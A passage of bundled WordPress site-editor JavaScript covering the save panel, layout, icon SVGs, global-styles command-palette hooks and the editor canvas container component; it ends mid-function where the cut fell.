const additionalPrompt = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
children: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: The name of active theme, 2: The name of theme to be activated. */
(0,external_wp_i18n_namespaceObject.__)('Saving your changes will change your active theme from %1$s to %2$s.'), (_currentTheme$name$re = currentTheme?.name?.rendered) !== null && _currentTheme$name$re !== void 0 ? _currentTheme$name$re : '...', (_previewingTheme$name = previewingTheme?.name?.rendered) !== null && _previewingTheme$name !== void 0 ? _previewingTheme$name : '...')
});
const activateTheme = useActivateTheme();
const onSave = async values => {
await activateTheme();
return values;
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EntitiesSavedStatesExtensible, {
...isDirtyProps,
additionalPrompt,
close: onClose,
onSave,
saveEnabled: true,
saveLabel: activateSaveLabel,
renderDialog,
variant
});
};
const _EntitiesSavedStates = ({
onClose,
renderDialog,
variant
}) => {
if (isPreviewingTheme()) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EntitiesSavedStatesForPreview, {
onClose: onClose,
renderDialog: renderDialog,
variant: variant
});
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.EntitiesSavedStates, {
close: onClose,
renderDialog: renderDialog,
variant: variant
});
};
function SavePanel() {
const {
query
} = save_panel_useLocation();
const {
canvas = 'view'
} = query;
const {
isSaveViewOpen,
isDirty,
isSaving
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
__experimentalGetDirtyEntityRecords,
isSavingEntityRecord,
isResolving
} = select(external_wp_coreData_namespaceObject.store);
const dirtyEntityRecords = __experimentalGetDirtyEntityRecords();
const isActivatingTheme = isResolving('activateTheme');
const {
isSaveViewOpened
} = unlock(select(store));
// The currently selected entity to display.
// Typically template or template part in the site editor.
return {
isSaveViewOpen: isSaveViewOpened(),
isDirty: dirtyEntityRecords.length > 0,
isSaving: dirtyEntityRecords.some(record => isSavingEntityRecord(record.kind, record.name, record.key)) || isActivatingTheme
};
}, []);
const {
setIsSaveViewOpened
} = (0,external_wp_data_namespaceObject.useDispatch)(store);
const onClose = () => setIsSaveViewOpened(false);
(0,external_wp_element_namespaceObject.useEffect)(() => {
setIsSaveViewOpened(false);
}, [canvas, setIsSaveViewOpened]);
if (canvas === 'view') {
return isSaveViewOpen ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Modal, {
className: "edit-site-save-panel__modal",
onRequestClose: onClose,
title: (0,external_wp_i18n_namespaceObject.__)('Review changes'),
size: "small",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(_EntitiesSavedStates, {
onClose: onClose,
variant: "inline"
})
}) : null;
}
const activateSaveEnabled = isPreviewingTheme() || isDirty;
const disabled = isSaving || !activateSaveEnabled;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(NavigableRegion, {
className: dist_clsx('edit-site-layout__actions', {
'is-entity-save-view-open': isSaveViewOpen
}),
ariaLabel: (0,external_wp_i18n_namespaceObject.__)('Save panel'),
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: dist_clsx('edit-site-editor__toggle-save-panel', {
'screen-reader-text': isSaveViewOpen
}),
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
variant: "secondary",
className: "edit-site-editor__toggle-save-panel-button",
onClick: () => setIsSaveViewOpened(true),
"aria-haspopup": "dialog",
disabled: disabled,
accessibleWhenDisabled: true,
children: (0,external_wp_i18n_namespaceObject.__)('Open save panel')
})
}), isSaveViewOpen && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(_EntitiesSavedStates, {
onClose: onClose,
renderDialog: true
})]
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/layout/index.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useCommands
} = unlock(external_wp_coreCommands_namespaceObject.privateApis);
const {
useGlobalStyle: layout_useGlobalStyle
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const {
NavigableRegion: layout_NavigableRegion,
GlobalStylesProvider
} = unlock(external_wp_editor_namespaceObject.privateApis);
const {
useLocation: layout_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
const layout_ANIMATION_DURATION = 0.3;
function Layout() {
const {
query,
name: routeKey,
areas,
widths
} = layout_useLocation();
const {
canvas = 'view'
} = query;
useCommands();
const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium', '<');
const toggleRef = (0,external_wp_element_namespaceObject.useRef)();
const navigateRegionsProps = (0,external_wp_components_namespaceObject.__unstableUseNavigateRegions)();
const disableMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
const [canvasResizer, canvasSize] = (0,external_wp_compose_namespaceObject.useResizeObserver)();
const isEditorLoading = useIsSiteEditorLoading();
const [isResizableFrameOversized, setIsResizableFrameOversized] = (0,external_wp_element_namespaceObject.useState)(false);
const animationRef = animation({
triggerAnimationOnChange: routeKey + '-' + canvas
});
const {
showIconLabels
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
return {
showIconLabels: select(external_wp_preferences_namespaceObject.store).get('core', 'showIconLabels')
};
});
const [backgroundColor] = layout_useGlobalStyle('color.background');
const [gradientValue] = layout_useGlobalStyle('color.gradient');
const previousCanvaMode = (0,external_wp_compose_namespaceObject.usePrevious)(canvas);
(0,external_wp_element_namespaceObject.useEffect)(() => {
if (previousCanvaMode === 'edit') {
toggleRef.current?.focus();
}
// Should not depend on the previous canvas mode value but the next.
}, [canvas]);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.UnsavedChangesWarning, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_commands_namespaceObject.CommandMenu, {}), canvas === 'view' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SaveKeyboardShortcut, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
...navigateRegionsProps,
ref: navigateRegionsProps.ref,
className: dist_clsx('edit-site-layout', navigateRegionsProps.className, {
'is-full-canvas': canvas === 'edit',
'show-icon-labels': showIconLabels
}),
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
className: "edit-site-layout__content",
children: [(!isMobileViewport || !areas.mobile) && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(layout_NavigableRegion, {
ariaLabel: (0,external_wp_i18n_namespaceObject.__)('Navigation'),
className: "edit-site-layout__sidebar-region",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableAnimatePresence, {
children: canvas === 'view' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__unstableMotion.div, {
initial: {
opacity: 0
},
animate: {
opacity: 1
},
exit: {
opacity: 0
},
transition: {
type: 'tween',
duration:
// Disable transition in mobile to emulate a full page transition.
disableMotion || isMobileViewport ? 0 : layout_ANIMATION_DURATION,
ease: 'easeOut'
},
className: "edit-site-layout__sidebar",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(site_hub, {
ref: toggleRef,
isTransparent: isResizableFrameOversized
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationProvider, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarContent, {
shouldAnimate: routeKey !== 'styles',
routeKey: routeKey,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.ErrorBoundary, {
children: areas.sidebar
})
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SaveHub, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SavePanel, {})]
})
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.EditorSnackbars, {}), isMobileViewport && areas.mobile && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-layout__mobile",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationProvider, {
children: canvas !== 'edit' ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SiteHubMobile, {
ref: toggleRef,
isTransparent: isResizableFrameOversized
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarContent, {
routeKey: routeKey,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.ErrorBoundary, {
children: areas.mobile
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SaveHub, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SavePanel, {})]
}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.ErrorBoundary, {
children: areas.mobile
})
})
}), !isMobileViewport && areas.content && canvas !== 'edit' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-layout__area",
style: {
maxWidth: widths?.content
},
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.ErrorBoundary, {
children: areas.content
})
}), !isMobileViewport && areas.edit && canvas !== 'edit' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-layout__area",
style: {
maxWidth: widths?.edit
},
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.ErrorBoundary, {
children: areas.edit
})
}), !isMobileViewport && areas.preview && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
className: "edit-site-layout__canvas-container",
children: [canvasResizer, !!canvasSize.width && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: dist_clsx('edit-site-layout__canvas', {
'is-right-aligned': isResizableFrameOversized
}),
ref: animationRef,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.ErrorBoundary, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(resizable_frame, {
isReady: !isEditorLoading,
isFullWidth: canvas === 'edit',
defaultSize: {
width: canvasSize.width - 24 /* $canvas-padding */,
height: canvasSize.height
},
isOversized: isResizableFrameOversized,
setIsOversized: setIsResizableFrameOversized,
innerContentStyle: {
background: gradientValue !== null && gradientValue !== void 0 ? gradientValue : backgroundColor
},
children: areas.preview
})
})
})]
})]
})
})]
});
}
function LayoutWithGlobalStylesProvider(props) {
const {
createErrorNotice
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
function onPluginAreaError(name) {
createErrorNotice((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: plugin name */
(0,external_wp_i18n_namespaceObject.__)('The "%s" plugin has encountered an error and cannot be rendered.'), name));
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SlotFillProvider, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(GlobalStylesProvider, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_plugins_namespaceObject.PluginArea, {
onError: onPluginAreaError
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Layout, {
...props
})]
})
});
}
;// ./node_modules/@wordpress/icons/build-module/library/styles.js
/**
* WordPress dependencies
*/
const styles = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
viewBox: "0 0 24 24",
xmlns: "http://www.w3.org/2000/svg",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
fillRule: "evenodd",
clipRule: "evenodd",
d: "M20 12a8 8 0 1 1-16 0 8 8 0 0 1 16 0Zm-1.5 0a6.5 6.5 0 0 1-6.5 6.5v-13a6.5 6.5 0 0 1 6.5 6.5Z"
})
});
/* harmony default export */ const library_styles = (styles);
;// ./node_modules/@wordpress/icons/build-module/library/help.js
/**
* WordPress dependencies
*/
const help = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M12 4.75a7.25 7.25 0 100 14.5 7.25 7.25 0 000-14.5zM3.25 12a8.75 8.75 0 1117.5 0 8.75 8.75 0 01-17.5 0zM12 8.75a1.5 1.5 0 01.167 2.99c-.465.052-.917.44-.917 1.01V14h1.5v-.845A3 3 0 109 10.25h1.5a1.5 1.5 0 011.5-1.5zM11.25 15v1.5h1.5V15h-1.5z"
})
});
/* harmony default export */ const library_help = (help);
;// ./node_modules/@wordpress/icons/build-module/library/rotate-right.js
/**
* WordPress dependencies
*/
const rotateRight = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M15.1 4.8l-3-2.5V4c-4.4 0-8 3.6-8 8 0 3.7 2.5 6.9 6 7.7.3.1.6.1 1 .2l.2-1.5c-.4 0-.7-.1-1.1-.2l-.1.2v-.2c-2.6-.8-4.5-3.3-4.5-6.2 0-3.6 2.9-6.5 6.5-6.5v1.8l3-2.5zM20 11c-.2-1.4-.7-2.7-1.6-3.8l-1.2.8c.7.9 1.1 2 1.3 3.1L20 11zm-1.5 1.8c-.1.5-.2 1.1-.4 1.6s-.5 1-.8 1.5l1.2.9c.4-.5.8-1.1 1-1.8s.5-1.3.5-2l-1.5-.2zm-5.6 5.6l.2 1.5c1.4-.2 2.7-.7 3.8-1.6l-.9-1.1c-.9.7-2 1.1-3.1 1.2z"
})
});
/* harmony default export */ const rotate_right = (rotateRight);
;// ./node_modules/@wordpress/icons/build-module/library/rotate-left.js
/**
* WordPress dependencies
*/
const rotateLeft = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M12 4V2.2L9 4.8l3 2.5V5.5c3.6 0 6.5 2.9 6.5 6.5 0 2.9-1.9 5.3-4.5 6.2v.2l-.1-.2c-.4.1-.7.2-1.1.2l.2 1.5c.3 0 .6-.1 1-.2 3.5-.9 6-4 6-7.7 0-4.4-3.6-8-8-8zm-7.9 7l1.5.2c.1-1.2.5-2.3 1.2-3.2l-1.1-.9C4.8 8.2 4.3 9.6 4.1 11zm1.5 1.8l-1.5.2c.1.7.3 1.4.5 2 .3.7.6 1.3 1 1.8l1.2-.8c-.3-.5-.6-1-.8-1.5s-.4-1.1-.4-1.7zm1.5 5.5c1.1.9 2.4 1.4 3.8 1.6l.2-1.5c-1.1-.1-2.2-.5-3.1-1.2l-.9 1.1z"
})
});
/* harmony default export */ const rotate_left = (rotateLeft);
;// ./node_modules/@wordpress/icons/build-module/library/brush.js
/**
* WordPress dependencies
*/
const brush = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M4 20h8v-1.5H4V20zM18.9 3.5c-.6-.6-1.5-.6-2.1 0l-7.2 7.2c-.4-.1-.7 0-1.1.1-.5.2-1.5.7-1.9 2.2-.4 1.7-.8 2.2-1.1 2.7-.1.1-.2.3-.3.4l-.6 1.1H6c2 0 3.4-.4 4.7-1.4.8-.6 1.2-1.4 1.3-2.3 0-.3 0-.5-.1-.7L19 5.7c.5-.6.5-1.6-.1-2.2zM9.7 14.7c-.7.5-1.5.8-2.4 1 .2-.5.5-1.2.8-2.3.2-.6.4-1 .8-1.1.5-.1 1 .1 1.3.3.2.2.3.5.2.8 0 .3-.1.9-.7 1.3z"
})
});
/* harmony default export */ const library_brush = (brush);
;// ./node_modules/@wordpress/icons/build-module/library/backup.js
/**
* WordPress dependencies
*/
const backup = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M5.5 12h1.75l-2.5 3-2.5-3H4a8 8 0 113.134 6.35l.907-1.194A6.5 6.5 0 105.5 12zm9.53 1.97l-2.28-2.28V8.5a.75.75 0 00-1.5 0V12a.747.747 0 00.218.529l1.282-.84-1.28.842 2.5 2.5a.75.75 0 101.06-1.061z"
})
});
/* harmony default export */ const library_backup = (backup);
;// ./node_modules/@wordpress/icons/build-module/library/external.js
/**
* WordPress dependencies
*/
const external = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M19.5 4.5h-7V6h4.44l-5.97 5.97 1.06 1.06L18 7.06v4.44h1.5v-7Zm-13 1a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-3H17v3a.5.5 0 0 1-.5.5h-10a.5.5 0 0 1-.5-.5v-10a.5.5 0 0 1 .5-.5h3V5.5h-3Z"
})
});
/* harmony default export */ const library_external = (external);
;// ./node_modules/@wordpress/edit-site/build-module/hooks/commands/use-common-commands.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useGlobalStylesReset
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const {
useHistory: use_common_commands_useHistory,
useLocation: use_common_commands_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
const getGlobalStylesOpenStylesCommands = () => function useGlobalStylesOpenStylesCommands() {
const {
openGeneralSidebar
} = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
const {
params
} = use_common_commands_useLocation();
const {
canvas = 'view'
} = params;
const history = use_common_commands_useHistory();
const isBlockBasedTheme = (0,external_wp_data_namespaceObject.useSelect)(select => {
return select(external_wp_coreData_namespaceObject.store).getCurrentTheme().is_block_theme;
}, []);
const commands = (0,external_wp_element_namespaceObject.useMemo)(() => {
if (!isBlockBasedTheme) {
return [];
}
return [{
name: 'core/edit-site/open-styles',
label: (0,external_wp_i18n_namespaceObject.__)('Open styles'),
callback: ({
close
}) => {
close();
if (canvas !== 'edit') {
history.navigate('/styles?canvas=edit', {
transition: 'canvas-mode-edit-transition'
});
}
openGeneralSidebar('edit-site/global-styles');
},
icon: library_styles
}];
}, [history, openGeneralSidebar, canvas, isBlockBasedTheme]);
return {
isLoading: false,
commands
};
};
const getGlobalStylesToggleWelcomeGuideCommands = () => function useGlobalStylesToggleWelcomeGuideCommands() {
const {
openGeneralSidebar
} = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
const {
params
} = use_common_commands_useLocation();
const {
canvas = 'view'
} = params;
const {
set
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
const history = use_common_commands_useHistory();
const isBlockBasedTheme = (0,external_wp_data_namespaceObject.useSelect)(select => {
return select(external_wp_coreData_namespaceObject.store).getCurrentTheme().is_block_theme;
}, []);
const commands = (0,external_wp_element_namespaceObject.useMemo)(() => {
if (!isBlockBasedTheme) {
return [];
}
return [{
name: 'core/edit-site/toggle-styles-welcome-guide',
label: (0,external_wp_i18n_namespaceObject.__)('Learn about styles'),
callback: ({
close
}) => {
close();
if (canvas !== 'edit') {
history.navigate('/styles?canvas=edit', {
transition: 'canvas-mode-edit-transition'
});
}
openGeneralSidebar('edit-site/global-styles');
set('core/edit-site', 'welcomeGuideStyles', true);
// sometimes there's a focus loss that happens after some time
// that closes the modal, we need to force reopening it.
setTimeout(() => {
set('core/edit-site', 'welcomeGuideStyles', true);
}, 500);
},
icon: library_help
}];
}, [history, openGeneralSidebar, canvas, isBlockBasedTheme, set]);
return {
isLoading: false,
commands
};
};
const getGlobalStylesResetCommands = () => function useGlobalStylesResetCommands() {
const [canReset, onReset] = useGlobalStylesReset();
const commands = (0,external_wp_element_namespaceObject.useMemo)(() => {
if (!canReset) {
return [];
}
return [{
name: 'core/edit-site/reset-global-styles',
label: (0,external_wp_i18n_namespaceObject.__)('Reset styles'),
icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? rotate_right : rotate_left,
callback: ({
close
}) => {
close();
onReset();
}
}];
}, [canReset, onReset]);
return {
isLoading: false,
commands
};
};
const getGlobalStylesOpenCssCommands = () => function useGlobalStylesOpenCssCommands() {
const {
openGeneralSidebar,
setEditorCanvasContainerView
} = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
const {
params
} = use_common_commands_useLocation();
const {
canvas = 'view'
} = params;
const history = use_common_commands_useHistory();
const {
canEditCSS
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getEntityRecord,
__experimentalGetCurrentGlobalStylesId
} = select(external_wp_coreData_namespaceObject.store);
const globalStylesId = __experimentalGetCurrentGlobalStylesId();
const globalStyles = globalStylesId ? getEntityRecord('root', 'globalStyles', globalStylesId) : undefined;
return {
canEditCSS: !!globalStyles?._links?.['wp:action-edit-css']
};
}, []);
const commands = (0,external_wp_element_namespaceObject.useMemo)(() => {
if (!canEditCSS) {
return [];
}
return [{
name: 'core/edit-site/open-styles-css',
label: (0,external_wp_i18n_namespaceObject.__)('Customize CSS'),
icon: library_brush,
callback: ({
close
}) => {
close();
if (canvas !== 'edit') {
history.navigate('/styles?canvas=edit', {
transition: 'canvas-mode-edit-transition'
});
}
openGeneralSidebar('edit-site/global-styles');
setEditorCanvasContainerView('global-styles-css');
}
}];
}, [history, openGeneralSidebar, setEditorCanvasContainerView, canEditCSS, canvas]);
return {
isLoading: false,
commands
};
};
const getGlobalStylesOpenRevisionsCommands = () => function useGlobalStylesOpenRevisionsCommands() {
const {
openGeneralSidebar,
setEditorCanvasContainerView
} = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
const {
params
} = use_common_commands_useLocation();
const {
canvas = 'view'
} = params;
const history = use_common_commands_useHistory();
const hasRevisions = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getEntityRecord,
__experimentalGetCurrentGlobalStylesId
} = select(external_wp_coreData_namespaceObject.store);
const globalStylesId = __experimentalGetCurrentGlobalStylesId();
const globalStyles = globalStylesId ? getEntityRecord('root', 'globalStyles', globalStylesId) : undefined;
return !!globalStyles?._links?.['version-history']?.[0]?.count;
}, []);
const commands = (0,external_wp_element_namespaceObject.useMemo)(() => {
if (!hasRevisions) {
return [];
}
return [{
name: 'core/edit-site/open-global-styles-revisions',
label: (0,external_wp_i18n_namespaceObject.__)('Style revisions'),
icon: library_backup,
callback: ({
close
}) => {
close();
if (canvas !== 'edit') {
history.navigate('/styles?canvas=edit', {
transition: 'canvas-mode-edit-transition'
});
}
openGeneralSidebar('edit-site/global-styles');
setEditorCanvasContainerView('global-styles-revisions');
}
}];
}, [hasRevisions, history, openGeneralSidebar, setEditorCanvasContainerView, canvas]);
return {
isLoading: false,
commands
};
};
function useCommonCommands() {
const homeUrl = (0,external_wp_data_namespaceObject.useSelect)(select => {
// Site index.
return select(external_wp_coreData_namespaceObject.store).getEntityRecord('root', '__unstableBase')?.home;
}, []);
(0,external_wp_commands_namespaceObject.useCommand)({
name: 'core/edit-site/view-site',
label: (0,external_wp_i18n_namespaceObject.__)('View site'),
callback: ({
close
}) => {
close();
window.open(homeUrl, '_blank');
},
icon: library_external
});
(0,external_wp_commands_namespaceObject.useCommandLoader)({
name: 'core/edit-site/open-styles',
hook: getGlobalStylesOpenStylesCommands()
});
(0,external_wp_commands_namespaceObject.useCommandLoader)({
name: 'core/edit-site/toggle-styles-welcome-guide',
hook: getGlobalStylesToggleWelcomeGuideCommands()
});
(0,external_wp_commands_namespaceObject.useCommandLoader)({
name: 'core/edit-site/reset-global-styles',
hook: getGlobalStylesResetCommands()
});
(0,external_wp_commands_namespaceObject.useCommandLoader)({
name: 'core/edit-site/open-styles-css',
hook: getGlobalStylesOpenCssCommands()
});
(0,external_wp_commands_namespaceObject.useCommandLoader)({
name: 'core/edit-site/open-styles-revisions',
hook: getGlobalStylesOpenRevisionsCommands()
});
}
;// ./node_modules/@wordpress/icons/build-module/library/close-small.js
/**
* WordPress dependencies
*/
const closeSmall = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z"
})
});
/* harmony default export */ const close_small = (closeSmall);
;// ./node_modules/@wordpress/edit-site/build-module/components/editor-canvas-container/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
EditorContentSlotFill,
ResizableEditor
} = unlock(external_wp_editor_namespaceObject.privateApis);
/**
* Returns a translated string for the title of the editor canvas container.
*
* @param {string} view Editor canvas container view.
*
* @return {Object} Translated string for the view title and associated icon, both defaulting to ''.
*/
function getEditorCanvasContainerTitle(view) {
switch (view) {
case 'style-book':
return (0,external_wp_i18n_namespaceObject.__)('Style Book');
case 'global-styles-revisions':
case 'global-styles-revisions:style-book':
return (0,external_wp_i18n_namespaceObject.__)('Style Revisions');
default:
return '';
}
}
function EditorCanvasContainer({
children,
closeButtonLabel,
onClose,
enableResizing = false
}) {
const {
editorCanvasContainerView,
showListViewByDefault
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const _editorCanvasContainerView = unlock(select(store)).getEditorCanvasContainerView();
const _showListViewByDefault = select(external_wp_preferences_namespaceObject.store).get('core', 'showListViewByDefault');
return {
editorCanvasContainerView: _editorCanvasContainerView,
showListViewByDefault: _showListViewByDefault
};
}, []);
const [isClosed, setIsClosed] = (0,external_wp_element_namespaceObject.useState)(false);
const {
setEditorCanvasContainerView
} = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
const {
setIsListViewOpened
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_editor_namespaceObject.store);
const focusOnMountRef = (0,external_wp_compose_namespaceObject.useFocusOnMount)('firstElement');
const sectionFocusReturnRef = (0,external_wp_compose_namespaceObject.useFocusReturn)();
function onCloseContainer() {
setIsListViewOpened(showListViewByDefault);
setEditorCanvasContainerView(undefined);
setIsClosed(true);
if (typeof onClose === 'function') {
onClose();
}
}
function closeOnEscape(event) {
if (event.keyCode === external_wp_keycodes_namespaceObject.ESCAPE && !event.defaultPrevented) {
event.preventDefault();
onCloseContainer();
}
}
const childrenWithProps = Array.isArray(children) ? external_wp_element_namespaceObject.Children.map(children, (child, index) => index === 0 ? (0,external_wp_element_namespaceObject.cloneElement)(child, {
ref: sectionFocusReturnRef
}) : child) : (0,external_wp_element_namespaceObject.cloneElement)(children, {
ref: sectionFocusReturnRef
});
if (isClosed) {
return null;
}
const title = getEditorCanvasContainerTitle(editorCanvasContainerView);
const shouldShowCloseButton = onClose || closeButtonLabel;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditorContentSlotFill.Fill, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-editor-canvas-container",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ResizableEditor, {
enableResizing: enableResizing,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("section", {
className: "edit-site-editor-canvas-container__section",
ref: shouldShowCloseButton ? focusOnMountRef : null,
onKeyDown: closeOnEscape,
"aria-label": title,
children: [shouldShowCloseButton && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
size: "compact",
className: "edit-site-editor-canvas-container__close-button",
icon: close_small,
label: closeButtonLabel || (0,external_wp_i18n_namespaceObject.__)('Close'),
onClick: onCloseContainer
}), childrenWithProps]
})
})
})
});
}
function useHasEditorCanvasContainer() {
